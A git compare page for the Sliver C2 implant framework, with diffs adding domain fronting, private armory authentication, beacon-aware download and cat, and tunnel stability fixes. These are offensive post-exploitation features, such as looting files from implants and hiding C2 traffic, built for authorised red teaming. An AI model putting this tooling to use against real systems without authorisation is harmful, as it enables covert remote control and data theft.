Compare commits

...
Author SHA1 Message Date
rkervella c7844f57b3 Fix regression: add back IP forwarding for wireguard tunnels. 2022-06-14 18:30:59 -07:00
Joe 23eef3d15c Merge pull request #706 from BishopFox/go/v1.18.3
Go v1.18.3
2022-06-09 17:40:24 -05:00
moloch-- 22b2704259 Go v1.18.3 2022-06-09 14:20:51 -07:00
Ronan Kervella 856fbb5974 Merge pull request #705 from BishopFox/fix/beacon-download
Fix `download` and `cat` regression
2022-06-09 11:28:04 -07:00
rkervella 6cbfe64f61 Remove commented code 2022-06-09 10:20:13 -07:00
rkervella 573ec4d800 Fix download and cat regression 2022-06-09 10:18:45 -07:00
Joe 11f93ab5b2 Merge pull request #703 from BishopFox/armory/auth
Armory Auth
2022-06-07 21:55:53 -05:00
moloch-- 48a061d59e Merge branch 'master' into armory/auth 2022-06-07 18:55:09 -07:00
Joe 2b7506b393 Merge pull request #702 from r00t0v3rr1d3/r00t0v3rr1d3-domain-fronting
Enable Domain Fronting
2022-06-07 11:40:42 -05:00
Chris Shields 2620758056 Enable Domain Fronting
Allow domain fronting by taking in HTTP C2 Advanced Option "host-header". 

Reference: https://github.com/Ne0nd0g/merlin/commit/4835ac3fa73acd963f578428d1d3e75d5cbb1bab
2022-06-07 11:54:31 -04:00
moloch-- 6262266cac Rename util.Encrypt to PreludeEncrypt 2022-06-06 07:26:25 -07:00
moloch-- 37524596bb Base64 fix to default index parser 2022-06-05 18:25:07 -07:00
moloch-- 91108619f5 Init headers map 2022-06-05 15:50:02 -07:00
moloch-- 7972fce3cc Initial implementation 2022-06-05 15:38:55 -07:00
moloch-- 30c569259d Outline auth support for private armories 2022-06-04 11:51:28 -07:00
Joe 978a66bdb0 Merge pull request #699 from mrThe/packet-shell-socks-improvements
Packet handling, socks and shell improvements
2022-06-04 13:50:11 -05:00
Joe 525eda0d15 Merge pull request #700 from mrThe/beacon-stability
Fix panic on beacon session interactive mode
2022-06-04 13:40:50 -05:00
mr.The 16aa7742ba Fix panic on beacon session interactive mode 2022-06-04 18:26:51 +03:00
mr.The 754aab265e Fix namedpipe build 2022-06-04 18:13:40 +03:00
mr.The 4b2558da0c Fix io reference 2022-06-04 17:00:09 +03:00
mr.The 838db70177 Improve closed connection handling
It's okay not to close channels if it is used for writing. Close tunnels
instead.
2022-06-04 16:27:24 +03:00
mr.The 136b50645e Extract structs from implants session.go 2022-06-04 14:31:32 +03:00
mr.The 1345c5e7d1 Tun-handlers file is a way to big, decided to split into different files 2022-06-04 14:00:49 +03:00
mr.The ffb0b0e795 Improve shell handling
Now shell will be properly closed on failure
2022-06-04 13:27:21 +03:00
mr.The d7e740b50f Improve socks handling 2022-06-03 20:51:41 +03:00
mr.The bb5f42466e Improve packet reading handling
Once we know the packet sice - we need to use ReadFull function to read
the packet to be sure we reading it right
2022-06-02 19:02:52 +03:00
Joe 1d4422b465 Merge pull request #693 from BishopFox/armory/all
Added 'armory install all' option
2022-05-29 17:14:41 -05:00
moloch-- 6dfb64ab3b Added 'armory install all' option 2022-05-29 12:28:43 -07:00
Joe 524bfdb8bb Merge pull request #692 from mrThe/fix-pivots-not-synced
Fix pivots not synced
2022-05-29 11:54:33 -05:00
moloch-- 3451490918 Added lic, updated assets gitgitnore for linux/arm64 2022-05-29 09:43:21 -07:00
Joe dc65bddfbb Merge pull request #691 from mrThe/race-conditions
Race conditions fixes and stability improvements
2022-05-29 11:40:34 -05:00
mr.The ae9fc59fa2 Remove pivot listener once it stoped from the server 2022-05-29 19:16:34 +03:00
mr.The 4c7ae8de7d Fix restarting pivot listeners, so it don't panic 2022-05-29 19:14:49 +03:00
mr.The 8865eebf55 Fix tests for non debug and windows builds 2022-05-29 18:07:45 +03:00
mr.The 56c019345d Socks stability improvements 2022-05-29 16:43:05 +03:00
mr.The 1594a2a0eb Client improved tunnel handling and additional logging 2022-05-29 14:25:02 +03:00
mr.The 675723037d Implant additional debug logs and imroved tunnels handling 2022-05-29 14:23:07 +03:00
mr.The b42c615bcf Portfwd connection handling improvements 2022-05-29 14:20:14 +03:00
mr.The f7633bbb9e Fix race condition on closing tunnels 2022-05-29 14:17:30 +03:00
mr.The 2010b08228 Change mtls reader to io.ReadFull 2022-05-29 14:09:56 +03:00
mr.The d1e97e904c Improve stability for remove shells
Fixed few raceconditions and remove unnecessary code
2022-05-28 18:41:56 +03:00
mr.The 647c8ae875 Improve pivot sessions handling, avoid stucking on implant crash
Before that if we are in shell on pivoted implant and it somewhy dies -
we are stuck forever.
2022-05-28 16:05:11 +03:00
mr.The 797365da62 Add sync.Mutex for rpc-tunnel so it wont race 2022-05-28 14:16:15 +03:00
mr.The 62be36e4ce Tunnels refactoring and datarace fixes
Golang documentation mentioning it's unsafe to concurently send messages
via same tunnel, so there is a mutex and a data copy on write
2022-05-28 14:16:14 +03:00
mr.The 50490790f1 Fix datarace on last checkin timestamp 2022-05-26 19:16:01 +03:00
mr.The e16b13c89c Fix datarace on error handling in beacon handler 2022-05-26 19:10:40 +03:00
57 changed files with 1991 additions and 1112 deletions

No files matched your search

+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.18.2
FROM golang:1.18.3
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+27 -3
View File
@@ -21,7 +21,9 @@ package assets
import (
"encoding/json"
"io/ioutil"
"log"
"os"
"os/exec"
"path/filepath"
)
@@ -30,8 +32,10 @@ const (
)
var (
// DefaultArmoryPublicKey - The default public key for the armory
DefaultArmoryPublicKey string
DefaultArmoryRepoURL string
// DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
@@ -39,9 +43,12 @@ var (
}
)
// ArmoryConfig - The armory config file
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"`
}
// GetArmoriesConfig - The parsed armory config file
@@ -59,5 +66,22 @@ func GetArmoriesConfig() []*ArmoryConfig {
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
for _, armoryConfig := range armoryConfigs {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
return append(armoryConfigs, defaultArmoryConfig)
}
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
if armoryConfig.AuthorizationCmd == "" {
return ""
}
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
if err != nil {
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
return ""
}
return string(out)
}
+34 -20
View File
@@ -38,12 +38,15 @@ import (
"golang.org/x/term"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
type ArmoryIndex struct {
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
ArmoryConfig *assets.ArmoryConfig `json:"-"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
// ArmoryPackage - JSON metadata for alias or extension
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
@@ -53,12 +56,15 @@ type ArmoryPackage struct {
IsAlias bool `json:"-"`
}
// AmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
// ArmoryHTTPConfig - Configuration for armory HTTP client
type ArmoryHTTPConfig struct {
ArmoryConfig *assets.ArmoryConfig
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
@@ -66,20 +72,22 @@ type ArmoryHTTPConfig struct {
}
type indexCacheEntry struct {
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
@@ -395,7 +403,10 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
}
}
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
armoryResult := &indexCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryConfig.RepoURL,
}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
@@ -431,18 +442,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, armoryPkg, clientConfig)
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, armoryPkg, clientConfig)
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
@@ -452,7 +463,10 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
}
}
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL,
}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
@@ -472,7 +486,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
+31 -6
View File
@@ -20,11 +20,13 @@ package armory
import (
"errors"
"fmt"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
@@ -33,6 +35,7 @@ import (
)
var (
// ErrPackageNotFound - The package was not found
ErrPackageNotFound = errors.New("package not found")
)
@@ -45,6 +48,19 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packagesInCache()
confirm := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
@@ -73,17 +89,26 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name {
if alias.CommandName == name || name == "all" {
installAlias(alias, clientConfig, con)
return nil
if name != "all" {
return nil
}
}
}
for _, ext := range extensions {
if ext.CommandName == name {
if ext.CommandName == name || name == "all" {
installExtension(ext, clientConfig, con)
return nil
if name != "all" {
return nil
}
}
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("All packages installed\n")
return nil
}
return ErrPackageNotFound
}
@@ -120,7 +145,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
@@ -238,7 +263,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
+45 -13
View File
@@ -58,13 +58,13 @@ const (
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig
ArmoryIndex string `json:"armory_index"` // Base64 String
Minisig string `json:"minisig"` // Minisig (Base64)
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig
TarGzURL string `json:"tar_gz_url"`
Minisig string `json:"minisig"` // Minisig (Base64)
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
}
//
@@ -80,7 +80,19 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
@@ -92,20 +104,28 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
index := &armoryIndexResponse{}
err = json.Unmarshal(body, index)
indexResp := &armoryIndexResponse{}
err = json.Unmarshal(body, indexResp)
if err != nil {
return nil, err
}
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
if err != nil {
return nil, err
}
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
if !valid {
return nil, errors.New("invalid signature")
return nil, errors.New("index has invalid signature")
}
armoryIndex := &ArmoryIndex{}
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
if err != nil {
return nil, err
}
@@ -117,7 +137,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
@@ -125,7 +145,19 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, nil, err
}
+1 -1
View File
@@ -2775,7 +2775,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
f.Uint64("i", "id", 0, "id of portfwd to remove")
},
Run: func(ctx *grumble.Context) error {
con.Println()
+1 -1
View File
@@ -125,7 +125,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
return
}
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
+46 -15
View File
@@ -19,17 +19,20 @@ package filesystem
*/
import (
"context"
"encoding/hex"
"fmt"
"os"
"path/filepath"
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
@@ -47,19 +50,55 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, ctx, con)
}
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
lootDownload bool = true
err error
)
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
userLootType := ctx.Flags.String("type")
userLootFileType := ctx.Flags.String("file-type")
var lootDownload bool = true
download, err := PerformDownload(filePath, filepath.Base(filePath), "console", ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
}
}
if saveLoot {
lootType, err := loot.ValidateLootType(userLootType)
if err != nil {
@@ -75,14 +114,6 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf("\n")
}
}
PrintCat(download, ctx, con)
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if ctx.Flags.Bool("colorize-output") {
if err = colorize(download); err != nil {
con.Println(string(download.Data))
+54 -97
View File
@@ -26,20 +26,26 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
func PerformDownload(remotePath string, fileName string, destination string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, destination), ctrl)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
@@ -47,68 +53,61 @@ func PerformDownload(remotePath string, fileName string, destination string, ctx
ctrl <- true
<-ctrl
if err != nil {
return nil, err
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleDownloadResponse(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
HandleDownloadResponse(download, ctx, con)
}
}
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
return download, fmt.Errorf("%s\n", download.Response.Err)
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, fmt.Errorf("Decoding failed %s", err)
con.PrintErrorf("Decoding failed %s", err)
}
}
return download, nil
}
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
saveLoot := ctx.Flags.Bool("loot")
src := remotePath
fileName := filepath.Base(src)
var dst string
var err error
var lootType clientpb.LootType
var fileType clientpb.FileType
var lootName string = ""
if ctx.Flags.Bool("loot") {
// The destination is the loot store.
dst = "loot"
lootName = ctx.Flags.String("name")
lootType, err = loot.ValidateLootType(ctx.Flags.String("type"))
if saveLoot {
lootName := ctx.Flags.String("name")
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Determine file type after the download is complete
// Hand off to the loot package to take care of looting
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
} else {
// If this download is not being looted, make sure the local path exists
dst, err = filepath.Abs(localPath)
fileName := filepath.Base(remotePath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
@@ -117,74 +116,32 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
}
download, err := PerformDownload(src, fileName, dst, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if dst == "loot" {
// Hand off to the loot package to take care of looting
fileType = loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
} else {
PrintDownload(download, ctx, con)
}
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
}
}
+1 -1
View File
@@ -89,7 +89,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if aesEncrypt {
stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
+6 -2
View File
@@ -68,9 +68,12 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
}
// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
SessionID: session.ID,
})
defer cancelTunnel()
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -78,7 +81,8 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
defer tunnel.Close()
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
+1 -1
View File
@@ -29,7 +29,7 @@ import (
// SocksStopCmd - Remove an existing tunneled port forward
func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socksID := ctx.Flags.Int("id")
socksID := ctx.Flags.Uint64("id")
if socksID < 1 {
con.PrintErrorf("Must specify a valid socks5 id\n")
return
+2 -2
View File
@@ -26,7 +26,6 @@ import (
"io/ioutil"
"log"
insecureRand "math/rand"
"path"
"path/filepath"
"strconv"
"strings"
@@ -109,7 +108,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
App: grumble.New(&grumble.Config{
Name: "Sliver",
Description: "Sliver Client",
HistoryFile: path.Join(assets.GetRootAppDir(), "history"),
HistoryFile: filepath.Join(assets.GetRootAppDir(), "history"),
PromptColor: color.New(),
HelpHeadlineColor: color.New(),
HelpHeadlineUnderline: true,
@@ -215,6 +214,7 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
+25 -7
View File
@@ -1,5 +1,23 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io"
@@ -116,7 +134,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
}
tunnel, err := p.dialImplant(ctx)
if cancel != nil {
cancel()
defer cancel()
}
if err != nil {
return
@@ -124,8 +142,8 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
// Cleanup
defer func() {
go conn.Close()
Tunnels.Close(tunnel.ID)
conn.Close()
GetTunnels().Close(tunnel.ID)
}()
errs := make(chan error, 1)
@@ -172,7 +190,7 @@ func (p *ChannelProxy) Host() string {
return host
}
func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
